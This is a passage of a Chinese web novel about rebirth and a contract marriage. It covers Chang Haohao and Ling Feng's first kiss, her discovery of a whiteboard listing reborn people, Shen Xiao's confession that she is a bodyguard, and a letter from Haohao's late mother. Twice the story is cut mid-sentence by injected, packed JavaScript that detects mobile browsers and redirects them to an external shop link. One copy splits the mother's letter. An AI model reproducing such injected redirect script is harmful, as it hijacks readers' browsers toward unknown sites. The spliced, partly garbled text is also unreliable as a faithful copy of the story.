凌枫整理好床铺,察觉出常好好与以往不同,沉思半晌,说道:“你肚子不舒服?” 常好好点头,如实说道:“嗯,来大姨妈了,而且是第一天。” 当初去超市买牙刷、毛巾、拖鞋、睡衣睡裤,能想到的全买了,愣是没想起来买卫生巾和安睡裤,谁能想到这么赶巧。 “卫生间里有卫生巾、卫生棉球和安睡裤。” 常好好眨了眨眼,又眨了眨眼。她没听错吧,眼前的男人甚至知道卫生棉球和安睡裤? “我猜到我妈早晚会来,准备很充分。我记得我一共买了三四个品牌,你看看有没有你常用的款式,如果不习惯,”凌枫抬手腕看了一眼时间,“这个时间也能找到跑腿。” 常好好对凌枫不是一般的钦佩,可以说眼前的男人无敌了,简直面面俱到,除了那张嘴。 额,貌似最近好像没那么毒舌了。 发现她越想越偏,常好好摆了摆手,“不用找跑腿,我没那么挑,只要有安睡裤就行,否则我真怕把你的大白床染红。”边说边进洗手间,腿弯到一半,手被人拽住。 “我来吧。”凌枫弯下腰,打开柜子取出各式各样的安睡裤,摆在常好好面前任她挑选,然后默默出去把门带上。 常好好思绪万千,低头看着一堆安睡裤发呆。小腹忽地抽痛,她猛然回过神,动起手来拆开一包换上。同时心里不停地念叨着:清醒一点,你和他不过是合约夫妻,别因为对方的关心乱了分寸。 洗漱完毕,她长舒一口气,推开门从洗手间出来。卧室里没有凌枫的身影,她看见白床上多出一套睡衣,正是她在超市买的其中一套。于是抱起睡衣重新回到洗手间换好,等再次出来,凌枫已经回到卧室,同样换上家居服。 等会儿! 她低头看向身上的衣服,再抬头望向凌枫的衣服…… 凌枫看出她的疑惑,一脸坦诚:“情侣装,我特意按照你的衣服款式买了几套对上。” 不愧是凌枫。常好好毫不吝啬地朝他竖起大拇指,“你太强了。” “当然。”凌枫不客气地说。 常好好肚子不舒服,不和他多废话,嗖的一下钻进被窝里,被都盖好了才想起来手机没拿,掀起被子准备穿鞋。 “我帮你拿,顺便帮你擦干净。”凌枫打断她的动作,从床头柜抽屉里取出酒精棉片,仔仔细细擦拭手机屏幕和手机壳表面。 常好好钻回被窝里,说道:“你帮我把里面也擦一下吧,好久没擦,估计落了不少灰,谢谢了。” 凌枫眼睛闪了闪,用力扒开手机壳。 50. 反转 当看见手机壳里空空如也,他的手顿住。 原先藏在里面的照片不见了。 常好好不清楚凌枫内心所想,接过擦干净的手机平躺在床上。原本想刷手机,谁知困意袭来,干脆把手机放到床头柜,闭上了眼睛。 一夜无梦,睁开眼睛的那个瞬间有些许恍惚,她环顾四周,陌生的环境和家具使她意识到这不是自己家。小肚子的疼痛感消失大半,她望着组合起来的沙发床发呆。 屋子里只剩她一人。 她习惯性地拿起手机,看见时间的那一刻,表情明显慌乱,立马踢开被褥,下床往卫生间走去。 再次看见凌枫是在餐厅里。 常好好转一圈没看到方琴,刚入戏就出戏,一屁股坐在常坐的那张餐椅上,不客气地拿起筷子吃盘子中准备好的煎蛋。 凌枫坐在常好好对面,从她出现在他眼中的那刻起便一直关注,从未移开目光。她简单地盘了个丸子头,衣服还是昨晚那套米白色睡衣,素面朝天的脸看起来比昨晚更有气色,没那么苍白。 “阿姨什么时候离开的?”常好好吃下整个煎蛋,暂时停下来,好奇问了一嘴。 之所以猜到方琴离开,是因为现在已经到了午餐时间。 凌枫如实回答:“八点不到。” “这么早?” “嗯,我爸接她回去了。” 常好好怔了怔,问道:“他们和好了?”未免太快了些,简直神速。瞧着凌枫点头,她心血来潮,继续问,“阿姨经常和叔叔吵架吗?” 凌枫:“偶尔闹一闹,无伤大雅。” 这平静的语气和淡定的面容,看来是真的习惯了。 常好好低头浅笑,快速吃完早餐加午餐,抽出纸巾擦嘴,然后起身准备捡盘子,对面的男人抢先一步拿走盘子和筷子,打开水龙头清洗,只留给她一个背影。 心里的别扭感逐渐加深。 这些天,她刻意让自己忘记和凌枫之间的相处,想着大家都是成年人,眼下又有棘手的事情待完成,所以不要纠结其他。 可是脑海中不停闪过她与凌枫的每一次交锋,尤其是那次。他并没有拒绝她的吻,却像没事人一样,仿佛什么事都没发生。 她不喜欢这样的自己。于是不再有所顾虑,轻声开口:“我当时吻你,你为何不拒绝。” 凌枫的手微微顿住,紧接着将洗好的碗筷整整齐齐地放回原位,抽出一张擦手巾仔细擦拭双手,直至看不见水珠。 对方不说话,常好好被气笑,理智告诉她没有必要生气,坐回位置上,沉思片刻才慢悠悠地道:“凌枫,大家都是成年人了。我既不是单纯无害的小白兔,也不是吃人不吐骨头的大灰狼。你用不着躲闪,有话直说。我不会因为你的回答影响我们之间的合作关系。” 凌枫转过身,静静地盯着她看,依旧没有出声。 大概明白了他的意思,常好好心里难免有失落,表面装作无所谓的样子,起身走到他身前,大大方方地说:“我知道了,我们当从前什么事都没发生过,以后——” 凌枫大手一把揽过常好好纤细的腰身,用唇堵住了她即将脱口而出的话。 常好好睁着眼睛,眼里闪过一层不可思议,忽地下嘴唇被轻轻咬了一口,她闭上眼睛,享受当下的吻,奈何男人强烈攻势,她快要喘不过气来,轻轻“唔”一声,男人这才松开唇,用沙哑的嗓音柔声道:“弄疼你了?” 她懵懵的表情。 不等她开口,凌枫大手从她腰间下移到小腹,“还难受吗?” 本来不难受的,现在好像不太妙。 常好好下意识地抚摸小腹,不小心碰到凌枫的手背,两个人的手都没有躲闪。 她调皮地轻挠凌枫的手背,问道:“你从什么时候对我有其他心思的?” “不知道。”凌枫真诚地说。 常好好眯了眯眼,小脸凑过去,“我懂了,你早就喜欢我却不自知。” 凌枫宠溺地笑了。 常好好靠在他的臂膀上,想起最开始向他撒的谎,沉吟一会儿说:“其实我……” 铃声响了。 凌枫轻蹙眉头,投向手机的目光有些不友好。 “是肖晗。”常好好比了个“嘘”的手势,快速接通电话,“喂,你想我啦。” 凌枫眼神微眯,仿佛视手机为眼中钉。 电话那边的肖晗略带撒娇的语气,“给你发消息不回我,做什么呢?是不是有了男人忘了姐妹。” 通话虽不是公放,但凌枫和常好好紧紧地贴在一起,想听不到都难。 凌枫的唇再次凑过来轻轻点在常好好的唇上,常好好想逃却被凌枫的手臂紧紧环绕,离不开半分。 肖晗见好友没回话,继续说道:“我下飞机可是没有其他考虑直奔你家方向。一会儿我们出去逛街吃饭吧,就我们俩。你不要拒绝我,我会伤心的。” “好,我在楼下的老地方等你。” 常好好没犹豫。 她和肖晗上次见面是在四个月前,重生的事她从未和肖晗提起过。上一世,肖晗家庭和睦,工作顺利,她不想因为自己的事影响到肖晗的未来走向。 腰上的手在暗中使坏,常好好没好气地瞪始作俑者一眼,快速结束通话,费了好大的劲才逃离某人的怀抱。 “你要回去。” “嗯,我也想肖晗了。她和我不在一个城市生活,平时见面少之又少,好不容易过来,我去迎接她。”常好好背起包包穿上鞋,再一抬头,瞧见凌枫表情复杂,她开玩笑道,“怎么,你吃醋了?不至于吧。” 凌枫挤出笑:“我送你回去,结束了告诉我,我再送你回来。” 这次常好好不再推脱。 周末,甜品店内人满为患。 肖晗拉着常好好看她最近检查身体的各项报告,脸上尽是忧愁,“总的来说,我现在需要补充营养和锻炼身体。” 好姐妹唉声叹气,连最喜欢的布朗尼都被她搁在那里,一口不碰。 常好好喝一口热水,往嘴里塞一口焦糖布丁,心情美滋滋,“不用担心,你身体素质好的很,五年生俩。” 听到这话,肖晗懵了下,眨着眼睛,一度以为耳朵出现了问题,笑出了声:“昨天没睡好吧,开始说胡话了。” 这才意识到刚才把心里话说了出来。 常好好一口气把杯子里的水喝光,顾左右而言他,“一会儿去哪里,别去剧烈运动的场所,我大姨妈第二天。” 肖晗再一次不可思议地看向常好好,“你直觉越来越准了。” 什么意思? 看到肖晗的笑,常好好心里直发毛,眼皮不自觉地跳了跳,忽然有种不好的预感。 “您好,请问有什么需要。”看见她们进来,格斗俱乐部前台工作人员热情地打招呼。 肖晗:“我姓肖,上午打过电话,你们经理知道。” 工作人员立刻领会,“好的肖女士,您跟我来。” 不知道是不是一时没忍住吃了太多甜食,常好好小腹一阵一阵抽痛,没跟着肖晗在格斗馆四处逛,找了个角落位置坐着休息。身旁是年龄比她大一些的学生家长,这家俱乐部不仅有成人训练,还有儿童训练项目。 坐在她左侧的家长时不时地叹气,另一位短发家长见她情绪不高,说道:“恬恬进步好大,反应越来越快。” “哎,照比从前差点,状态倒是不错,不像前一阵子已经没了兴致。” 短发家长疑惑道:“你们不是和我们同一天开学的嘛。” “不是,四年前在这儿学过,后来换老师孩子不愿意继续练。前一阵我好说歹说孩子才同意过来,毕竟学费剩那么多,总不能浪费了去。” “所以之前的老师比现在的好?” “那倒未必,我们毕竟不是专业人士,不太懂那些。不过我家孩子喜欢那个沈老师,可能分眼缘。”坐在常好好身边的家长说着说着从包里拿出手机, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17386416|197807||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过了会儿给短发家长指,“你看,照片上站我女儿旁边的那位。” 短发家长伸长脖子,定睛看了看,“你别说,这教练长得喜庆,难怪孩子喜欢。” 两名家长的声音说大不大,说小不小。 常好好就在他们身边自是将他们的对话听的一清二楚,她好奇他们口中的“喜庆”到底有多招人喜欢,微微探出脑袋看向手机。 当她目光捕捉到照片里的女人时,微微上扬的嘴角咻地顿住,眼睛一眨不眨地盯着照片。 照片里有一个大人和一个小女孩。 那位大人是沈骁。 两名家长从这张照片一直谈论到格斗馆历史。 短短两分钟对常好好格外漫长,她的手握成拳头,手指尖紧紧抠着手掌,直到旁边家长将照片划到下一张,她才渐渐清醒,小声加入到他们的谈话中,“刚才那个人不是沈骁吗?” 闻声,身旁的家长惊讶转头,“对对,是叫这个名字,美女你也认识她。” “见过几次,她是叫沈骁吧。”常好好试探地道。 “对,我女儿可喜欢她了。”家长越说越开心,“你有她的联系方式吗,我当时不知道内幕,要不然肯定提前要号码。” 常好好死气沉沉,笑得要多难看有多难看,“我跟她没那么熟,两三年前确实认识。” “哎呦可惜。” 常好好不再插话,坐了半天再也坐不住,从椅子上站起来跑到门外,气得大口做深呼吸。 想破了头都不可能想到,沈骁会骗她。 到底哪里出现了问题?还是说源头就错了。她心里面乱糟糟,拿手机的手都在哆嗦。第一时间拨通凌枫的电话,过去半分钟没人接。她努力让自己平静下来,半晌又重新拨打电话,依旧没人接。 “忆时,你怎么出来了?”肖晗走出俱乐部拍了拍常好好,被常好好转过来的脸色吓到,连忙问道,“你没事吧,脸色好难看,是不是肚子不舒服。” 常好好心绪不宁,有气无力地说:“对不起,我今天突然有事,不能继续陪你逛了。” “没事,你身体要紧。”肖晗诧异常好好冰凉的手,建议道,“这样吧,我开你的车先送你回去,然后我再回来。” 常好好不理解,惊讶地问:“你还要回来?” “他家环境不错,远是远了点,但是专业,我想着先试练一节课。” “不要紧,我没那么难受,自己驾车没问题,你就别折腾了。”常好好计算着肖晗第一胎怀孕的大概时间,想着还有一段时间,松了口气,“这里距离市中心距离远,告诉你老公一声,让他接你回去。” 听到她的叮嘱,肖晗笑道:“放心吧,我又不是小孩子,你开车注意安全,别着急。” 常好好心思不在这,打完招呼又不放心,回头喊了一声:“别练太猛,别焦虑,说不准年底就怀上了。”说完快步往电梯方向走。 肖晗呆愣愣地站在原地,小声嘀咕着:“今天这是怎么了……” 驾车这段时间,常好好不停地给凌枫打电话,对面始终没接通。她心里的不安越来越强烈,已经到了无法平静的程度。停车稍微歪了些,根本顾不上调整,几乎是跑着进入电梯。 等电梯门打开,她冲出去直奔大门,着急地拍两下,门没有开更没人回应。她按指纹将门打开,迅速脱鞋喊道:“凌枫?” 连续叫了四五声,房子空荡荡的,仿佛能听到回声。 她再一次拨打电话,远处传来铃声的声响。心里咯噔一声,来不及思考,顺着声音找到所在房间,猛地推开留有缝隙的房门。 熟悉的铃声旋律回荡在整个房间内。 常好好被眼前的场景惊得怔住,手指不停地抖动,甚至忘记挂断电话,直到拨通时间过长,自动切断,房间才恢复宁静。 她挪步向前,视线一一划过墙上的大幕布、写满字的白板。白板上写着她的名字,贴着她的照片。右上方写着几个熟悉的名字。 51. 醒来 苏淼、陆颂…… 默默读完所有字,泪水止不住地涌出眼眶。她笑了,放声大笑,觉得一切可笑极了。 她,好像一个白痴,被人耍的团团转。 房间让她喘不过气。常好好脑子里一片混沌,匆匆忙忙离开凌枫家。 停车场,她的车旁边站着一个陌生男人,见她拉车门,确定是她的车,开始叨叨不停。 “妹子,你车停的位置真绝,咱不能好好把车停好吗?非给车屁股压到我车位的边——” “对不起,太着急没来得及挪。” 近距离观察常好好的脸,被她脸上的苍白惊到,寻思她态度好,男人语气放软:“……算了,你肯定不是故意的。” 常好好驾车离开停车场。 她不知道目的地在哪,家里有沈骁,她不知道如何面对,是质问,还是沉默。至于安燃,同样不接她的电话,不知道在忙什么。 心中刚吐槽完安燃,安燃便给她打来电话:“好好,你在哪呢?” 常好好下意识回答:“车上。” “我是说你的位置,”安燃放低声音说,“我和江翊还有她朋友在一起,刚才他们在身边没法接你的电话,现在他们去卫生间了。”从声音都能听出来他像做贼一样,“我跟你说江翊竟然提起了你,一会儿你过来吧,我就说你正好找我,我们四个一起吃顿饭,等饭后我送江翊回去,你正好送她朋友回家。” 常好好不想回应。 这他么是人提出来的建议吗? 电话那边没声,安燃又开口:“我请客好吧,你帮帮忙呗,我感觉好多事和重生前不一样,江翊提到你都没提到凌枫,反而她朋友提到江翊是我的球迷。” 安燃说个不停。常好好本来心里烦躁得很,被他叨叨叨的嘀咕声影响反倒静了下来。仔细品了品安燃的话从中找出重点。 别看平时安燃没心没肺,一到江翊的事比谁都用心。距离江翊出事还有一年多的时间。她明白,安燃比她懂江翊。 “安燃,江翊的事交给你了,你一定要想方法改变她上一世的走向。”她道。 “放心,我不会让她重蹈覆辙。”安燃语气笃定,忽然焦急起来,“她们出来了,我在滨海广场,你从空中飞车那边过来找我们,先挂了。” 滨海广场是反方向。常好好打左转灯,原路返回。 “这儿呢。”安燃朝常好好疯狂招手。 常好好挤出一抹笑走过去。她和江翊以及她的朋友金晔打招呼。看到金晔,一瞬间觉得很眼熟,好像在哪儿见过。 安燃趁江翊和金晔不注意给她使眼色,然后说道:“我们去对面吃海鲜。” 听到海鲜,常好好眯了眯眼,暗中瞪安燃一眼。典型的重色轻友,明知她不吃海鲜还提议。心里如是想,嘴上倒是啥都没说。反倒是江翊道:“换一家吧,对面店里的人好多,排队要排好长时间,我们简单在这附近吃一口吧。” “没关系,那家店是我们朋友开的,下午我已经让他们留位置了。” 安燃虽热情,但却不过度,最起码不会让人感到不舒服。常好好附和他说了几句,一行四个人来到包厢内。 常好好没食欲,意思意思吃了几口家常菜,海鲜是一口没碰。江翊和安燃边聊边吃,其实也没怎么下筷。主要战斗力在金晔,全程大大方方吃,丝毫不扭捏。 一顿饭吃完,金晔率先开口:“我和江江不顺道,要不我和好好走吧。” 安燃酝酿大半天如何开口,没料到被金晔抢先一步。他越看金晔越顺眼,克制住激动的情绪,给常好好递了一个“你懂的”眼神。 早商量好计划,常好好笑着点头:“好,安燃你正好顺路送江翊,我顺路送金晔回家。” 如此安排,四个人谁都没有意见。 “假如他们俩真成了,我们功不可没。”金晔忽然来了这么一句。 闻言,常好好与金晔对视一笑,尽在不言中。 “走吧,我送你。”常好好提议道。 金晔:“不用,我想回广场散散心。” 思考了一会儿,常好好笑容不再带着假意,“走!我也去散散心。” 吃饭的时候聊天,她才恍然大悟,为何会对金晔有印象,原来金晔是江翊的前同事。 上一世,整个公司除了江翊的小领导帮忙,另一个站出来说出真相的同事就是金晔。只不过这一世,她不是自动离职,而是因为出头其他部门女同事,直接被开除。 这一世,好多时间线发生了变化。 金晔平时经常来滨海广场散心,对这里很是了解,她指着右边,“我们去夜市转转,那里有好多新奇的小玩意。” 听到金晔的话,常好好跟在她身旁,“好啊。” 她只在小时候来过滨海广场几次,后来没再来逛过。 “免费三次套圈,免费三次套圈,错过机会不再。” “免费三次套圈,免费三次套圈,错过机会不再。” 不远处,有一家套圈用大喇叭循环播放招揽顾客。 “免费”二字富有吸引力,想让人忽略很难。金晔脚步加快,朝着套圈那里走。 看见又来两位,年轻的老板笑眯眯地朝她们递出六个圈。 常好好兴致不大,问道:“我可不可以把三个圈给我朋友。” 年轻老板:“当然可以。”紧接着把手里六个套圈全部交给金晔。 金晔接过六个圈圈,目光扫向下面。地上铺满各种大小的白鹅玩偶。她几乎没迟疑,甩出一个套圈直奔站在最高顶的巨大白鹅。 套圈犹如一个抛物线,稳稳地套在白鹅玩偶的脖子上。 “哇!” “天啊,竟然套到最上面的白鹅。” “高手啊。” 随着一声声欢呼,尖锐的哭喊更加引人注目。金晔左边的小孩子涨红了脸,来回跺着小脚,哇哇大哭。孩子妈妈边哄边觉得好笑,“没事的,妈妈给你买一个回家好不好。” “可是最大的没有了,呜哇……”小孩哭得可怜极了。 金晔两只手接过老板递过来的大白鹅,默默朝小孩子的方向蹲下,手轻轻的抚摸小孩子的头,柔声安慰:“别哭了小朋友。” 她把大白鹅往前递了递,孩子妈妈拼命给她眨眼,在孩子看不见的位置使劲摇头加摆手。 周边的人都盯着这一幕,心想她要把大白鹅送给小朋友。 下一秒,她语重心长地道:“加油小朋友,等你像我这么大时肯定能套中。” 常好好:“……” 她还真是幽默。 常好好对金晔有了新的认识。第一眼望去觉得她是个长相漂亮,很文静的姑娘,没想到性格如此反差。 两个人慢悠悠地走在海边聊天,直到金晔抱着白鹅的手吃劲才打道回府。 “谢了好好,有时间再聚。”金晔抱着白鹅,只露出半张脸,看上去好滑稽。 常好好笑着回应,摆了摆手。 她停在小区门口十分钟,随后启动车朝熟悉的方向开去。 该面对的总要面对。 到了家门口没有敲门,她慢吞吞地伸出手指头,眼看手指即将贴上,身后冷不丁地传来大嗓门—— “好好你回来啦。” 常好好浑身一激灵,手下意识地握住门把手,手心微微出了汗。她闭上眼睛深深呼出一口气,转过身望着罪魁祸首,人家正笑眯眯地看着她。 仔细看,其实有些手足无措。 沈骁见常好好脸色苍白,嘴巴没有血色,才反应过来把人吓到,不好意思地挠了挠头:“对不起好好,我以为你生气不会回来了。” 脑海里闪过无数个画面,心里不断复述着如何与沈骁开口,咋想都想不到会是眼前这种情形。 常好好打开门,伸手示意:“进来再说吧。” 沈骁安安静静坐在那里,搞得常好好一整个不习惯,哪哪不适应,琢磨半天的话到了嘴边,沈骁出声打断,“好好,我知道你去了格斗馆。” 被对方的话惊到忘记说啥,常好好起了一身鸡皮疙瘩。 今天发生的事都过于惊悚,以至于现在的她都处于懵懵,不敢置信的状态里。 “你怎么知道我去了哪里?”她把不解问出口。 “其实这几年里除了接送李嘉晨,大部分时间我都在你身后保护你。”沈骁声音越说越小,“我知道我说出来你可能会觉得震惊甚至不想理我,但是到了这个节骨眼,我不能再隐瞒下去。” 听见保护,常好好头脑清醒了不少,她把一切串联起来,忽地灵光一闪,断断续续地道:“你真是我的……保镖?” “没错,但我不是你明面上的保镖。我的职责是在暗中保护你。大二那年,陈总找到了我,得知我要做的工作我几乎没有犹豫,”沈骁忽地语速变慢,“我既兴奋又感到幸运。我大学的专业是财会,还好我父母开明,没有阻止我做保镖。” 认真听沈骁说完,常好好静下心,努力回忆她与沈骁重生前与重生后的零散片段,用笃定的语气道:“原来如此,所以大楼坍塌前你才会出现在我身后。” 沈骁点头:“不告诉你是因为我的职责所在。”她抿了抿唇,想忍着却没忍住,唇角向上翘起,“毕竟签了合同的,陈总给我开的不少。” 常好好微微扫过沈骁满足的笑容,抽了抽嘴角,叹了口气道:“我知道了,陈叔那边你不用担心,我装作——” “没事没事,陈总已经知晓了,我跟他说了。” 常好好:“……” 不愧是沈骁,嘴够快的。 沈骁瞧见常好好非常无语的表情,小声嘀咕:“没办法嘛,陈总给我开工资,我总不能收人家钱不好好干活吧。” 常好好无话可说,双手摊开往沙发靠背上一仰。她发现了,面对沈骁真的一点招没有。 这时,沈骁手机铃声忽然响了,欢快的歌曲倍有节奏感。 沈骁瞄了一眼手机屏幕,手伸出去又抽回来,来回好几次,最后拿起手机把屏幕转向常好好的脸,“枫哥,咋办啊,我要不要接。” “先别接了,正好有事跟你探讨。”常好好道。 沈骁早料到有大瓜。 今天是周六,她早上匆匆来到凌枫家小区门口蹲守常好好出现,一路跟在后面,发现常好好中途竟然回到凌枫家里,后来又再次出来,并且神情恍惚,脸色很不好看。 她猜到凌枫惹到了常好好,否则为何给她打来那么多通电话问常好好回没回家。于是顺嘴问道:“枫哥惹你生气了?他给我打了好几通电话,我哪敢说其他的呀,我都把你惹生气了,根本不知道怎么与他说,就说我也不知道你在哪,反正没回家。” “他没重生。” “哦,没重……没重生?”沈骁一个激动直接跳起来,弹跳力惊人蹦得贼老高,“我不明白,什么叫没重生。” “字面意思,他不是重生人,但有重生回来的人跟他合作。”常好好翻开手机相册,递给沈骁,“你看看吧。” 沈骁一把接过手机,翻看照片和视频,反复看了多次,“我靠!太可怕了!陆颂和苏淼竟然也是重生回来的?不是?他们是刻意接近我们?” 超大白板上把他们知道的所有重生人写的明明白白,唯独没有凌枫的名字。许多重要事件被人用红色笔打了问号,括号后面有人用绿色笔进行解释,断案小分队几个字和名字同样是用绿色笔。 常好好重新拿回手机,笑中带着讽刺,“多亏这些天苏淼在我们店里帮忙,我比对了她记账的字,发现她的字和绿色笔的字迹一模一样,用绿色笔写字的人就是苏淼。” 沈骁彻底词穷了,她抖着嘴唇,最后来了一句:“恐怖至极。”说完抬眼观察常好好的脸色,安慰道,“可能枫哥他不敢开口,就像我也有事瞒着你一样,怕你生气不理我了。” 常好好心里憋着一股气,脱口而出:“可是我们早上已经——” 沈骁瞪大眼睛,等待常好好继续说下去,急得眉毛挑得老高,眼里的笑意都快溢出来了,抬了抬下巴道:“你们已经干啥了?” 常好好瞬间把到了嘴边的话压了回去,没好气地说:“不是你想的那样,没到那种程度。” “我没想啥啊。”沈骁挤眉弄眼,“你指的那种程度是哪种程度?” “……” “我想静一静,暂时不想回复他。”常好好拿起手机,头也不回地往卧室方向走。 见状,沈骁急了,连忙叫住她,“那我怎么办,我到底接不接电话啊?” “随你。” 常好好留下这两个字,消失在沈骁眼前。她迈着沉重的步子踏入卧房,看见床丝毫没有犹豫,趴在床上把脸埋起来。不知过了多久,才起身去卫生间收拾一番,等再坐回床上,脸色明显比刚才好上一点,至少没那般苍白。 她仅仅坐下来半分钟,立刻下床打扫卧室卫生,完全忘记今天是生理期第二天。 等收拾得一滴灰尘都找不到,开始着手整理柜子里的东西。翻到最上面的时候,手微微停顿。犹豫片刻,抬起脚尖将一个精美的红色盒子取下来。 盒子里放着成初霁为她折的千纸鹤和小星星。 陈明告诉她身世便将这个盒子转交给了她,嘴上一句话没说,却红了眼眶。 那时她刚高考结束,不懂陈明为何会难过成那样,现在仔细想想,许是想到了她的母亲。 成初霁后期因为治疗痛苦不堪,因此家里人很少提起。 仅有一次成知聿喝得醉醺醺回家,见她在客厅,定定地望着她,一字一句地说:“为什么?为什么她在最想活的那一天离开。” 咻地,一个红色点点形状的千纸鹤映入眼帘,打断了常好好的回忆。 她轻轻捏起千纸鹤的尾巴,忽然联想到魏筝曾经给沈骁留下的那封信,直觉指引着她,她快速拆开千纸鹤。 工整的字迹展现在眼前,常好好的手不自觉地发抖。 【亲爱的女儿,我很抱歉,在你还未开口说话时便要离开你。 回顾我这一生,我发现所有的一切尽是虚妄。 曾经,我用做错事找存在感,只为得到父亲的关注;我硬着头皮做着不喜欢的事,只为得到周边人的认可;我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17392671|197807||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 作践自己、放弃自己,只因未得到所爱。 如今我才意识到,我错了,大错特错。我用伤害自己的方式拼命与他人对抗,以为会让别人痛苦,孰不知却让自己陷入困境,再也爬不起来。 原来,我自始至终对抗的人都是我自己啊。这一刻我幡然醒悟,可为时已晚。 不知道你会在何时何地打开这封信。 总之,我希望你能开心做自己。 愿你这一生善待自己、取悦自己、活出自己。好好吃饭、好好睡觉,好好活着。】 读到最后,泪水再也控制不住。 常好好小心翼翼地折上信纸。 曾经的她同样痛苦过。 她不明白老天爷为何让她出生在这样复杂的家庭里,为何她连自己的父亲是谁都不知道,为何要她承担莫名其妙的恶意。她不停地抱怨、痛苦、挣扎,渐渐地她从中走了出来。 重生后,她原以为她忘记了原生家庭带给她的痛苦。直到这一瞬间她才明白,从前的她并没有真正释然。 但此时此刻,好像一切变得不一样了。 晚上,常好好做了一个有些熟悉的梦。 梦里尽是迷雾,伸手不见五指。 她没有出声,努力让自己冷静下来,试探着挪动脚步。一步一步,共迈出十步,她判断前方仍是平地,于是稍微加快些脚步。 这时,迷雾散去三分之一,眼前能看见光亮。 突如其来的转变让她更加放松,脚步飞快。渐渐地,她好似掌握了节奏和感觉,开始慢跑。 与此同时雾气消散近一半,慢跑变为快跑。 “哐啷!” 脚下忽地被东西绊倒。 因为脚下速度过快,她无法控制身体,惯性朝前扑去,双手和膝盖处传来疼痛,不用看也知道,定是被擦伤破了皮。 “咔啦……咔啦……咔啦……” 空旷的地方传来声音,常好好顾不上理会,咬着牙从地上爬起来。膝盖上的痛使她没有立即站起来,一屁股坐在地上喘着气。 “咔啦……咔啦……咔啦……” 声音没有停止,好像有什么东西在晃动。此时迷雾再次挡住了她的视线。 她闭上眼睛努力辨别声音的方向,顺着声音转过头去,看见了一个被踩扁了的空易拉罐。 红色易拉罐慢慢停下来不再动。她好奇心作祟探头看向易拉罐,观察好一会儿。 忽地,她怔在原地。 易拉罐中间的白色纹路被划掉一部分,她拿起易拉罐费劲地站起来,凭借记忆伸手朝左边摸索,果然摸到了垃圾桶。 垃圾桶仍然满满当当,但不是一点缝隙没有。她尽力将易拉罐按到最小,往缝隙里一塞,易拉罐成功放入垃圾桶内。 常好好笑了,静静地站在迷雾中。 转眼间,迷雾褪去大半,她的眼前逐渐清晰,能准确看见脚下的路。 望着前方的路,她迈出脚步,不快不慢地走着。 走出一大段路,发现周边出现了其他人。奇怪的是他们的脸很模糊,她揉了揉眼睛,无论怎么揉,再睁开眼睛,其他人的脸依旧是模糊不清。 期间,偶尔有人跟她搭话。 “又看见你了,你这是第几次了。” “是你啊,别怕!一会儿向上爬的时候我帮你。” “这次我一定能爬上去。” 听着他们与她搭话,常好好微微皱了皱眉。她有点迷茫,不明白他们的意思。 这条路很长。 直到出现拐弯,她迟疑半晌,右转朝前继续走。 正前方出现许多排高高的阶梯和无数条不知道连接到哪里的绳子。阶梯是断层的,想要上去需要借助绳子。 常好好快步走向阶梯,双手牢牢握住绳子,脚踩在台阶上,忍着手心和膝盖处传来的疼痛,一点一点往上爬。 起初她心中无任何想法,爬到中途忽然出神,右手没有使上劲儿,整个身子向下退,还好她左手再次抓紧。 这时,刚才跟她搭话的陌生人一路无言,飞快地拽着她身旁的绳子向上爬。 她咽了下口水,绳子已经被她的手染成了红色。 身体的疼痛难忍,她忍不住哭泣却依然没有放弃,爬到有阶梯的地方让自己暂时停下,给身体休息的时间,紧接着双手用力拽住绳子向上爬。 眼看光亮就在眼前,她咬着牙,脚下再用力一蹬,右手抬起抓住更上面的绳子,左手却没有跟上,突然没了力气。 阶梯空了,她右手快要支撑不住。 猛地,头顶上方悬空出现一只手,紧紧攥住她的左手手腕。 借着这道力,她抬起双腿稳稳落在上方不远处的阶梯上,腰腹同时用力,一鼓作气爬了上去。 “呼……” 周遭的一切变了。 她踩在平的地面上,原本的绳子、阶梯、其他人,全都消失不见。 头顶随之而来的,是万丈光芒。 …… 昏暗的房间一片寂静。 常好好侧躺在床上,眉心逐渐放松。 她的右手紧紧牵着左手。 同一时间,客厅里依然灯火通明。 沈骁坐在原位不似刚才那般轻松,她手指挠了挠耳朵,硬着头皮跟旁边的男人说:“枫哥,我估摸着这时候好好已经进入梦乡。其实我呢,也想进入梦乡。你看,要不要你先回去,一切等明天再说?” 凌枫面无表情,嘴角向上艰难地勾了勾,起身笑道:“不打扰你了。” 终于把人熬走了。 沈骁自在地翘起二郎腿,脚一抖一抖的,小声嘟囔:“笑得真假。哎,我这样是不是太得罪人了。”嘴上这么说,眼睛立马恢复清亮,举着手机看视频,与上一秒判若两人。 早晨七点,才睡五个多小时的沈骁被尿憋醒。 上完厕所的她口干舌燥走出房间喝水,路过门口玄关时下意识瞟了一眼,待看清空空如也的地垫,她困意全无,懵逼地站在原地。 “不对呀,鞋呢?” 再上前凑近看,发现她的外鞋被人放在了鞋架,常好好昨天穿回来的外鞋却消失不见,怎么找都没找到。 “不会吧,这么早她去哪儿了?”她自言自语。 一月末是滨城最冷的时候。 常好好停好车,穿上羽绒服,顺手把手机放入副驾驶位置上的包包里。 打开车门的一刹那,冷风袭来,她迟疑片刻,抬腕扒拉出手表。看见时间,关上车门不再回车里,抬脚走上了栈道。 